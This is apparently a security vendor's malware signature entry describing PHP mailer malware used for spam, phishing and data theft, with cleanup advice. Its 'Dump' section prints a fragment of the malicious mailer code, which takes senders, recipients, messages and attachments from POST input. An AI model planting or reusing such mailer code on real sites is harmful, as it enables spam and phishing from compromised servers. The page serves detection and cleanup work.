Malware Signatures

  1. Home
  2. Malware Signatures
  3. php.mailer.post.004.04

php.mailer.post.004.04

PHP mailers are, as the name suggests, tools intended to send e-mails using php commands. CMSs like WordPress, Joomla or Magento have builtin functions to send e-mails. However, malware creators have their own specially crafted scripts to send messages. Such scripts can be used for sending spam, phishing e-mails, flooding mailboxes or stealing and sending sensitive data back to the malware creators.
HP mailers are often part of various spam bots and other malware types, or are used for sending sensitive data back to attackers. They often use the POST method to receive the e-mail addresses and other data.

Affecting

Any vulnerable PHP based website. Outdated software or compromised passwords can act as an infection vector.

Cleanup

Inspect your site's files looking for mail() functions on files that you don't recognize.
Check your site's access_logs for any sign of suspicious POST request, this may point out which files are being used for sending the unwanted messages.
Also you can sign up with us and let our team remove the malware for you.

Dump

if (isset($_POST['from'])) $senders = array_filter(array_map('trim',explode("n", $_POST['from'])));
if (isset($_POST['subjects'])) $subjects = array_filter(array_map('trim',explode ("n", $_POST['subjects'])));
if (isset($_POST['message'])) $message = $_POST['message'];
if (isset($_POST['mails'])) $mails = array_filter(array_map('trim',explode("n", $_POST['mails'])));
else $status['errors']['mails'] = "No mails posted";
if (isset($_POST['isHtml'])) $mailer->isHtml = $_POST['isHtml'];
if (isset($_FILES)) foreach($_FILES as $name=>$attachment) {
$mailer->addAttachment($attachment["tmp_name"], base64_decode($name));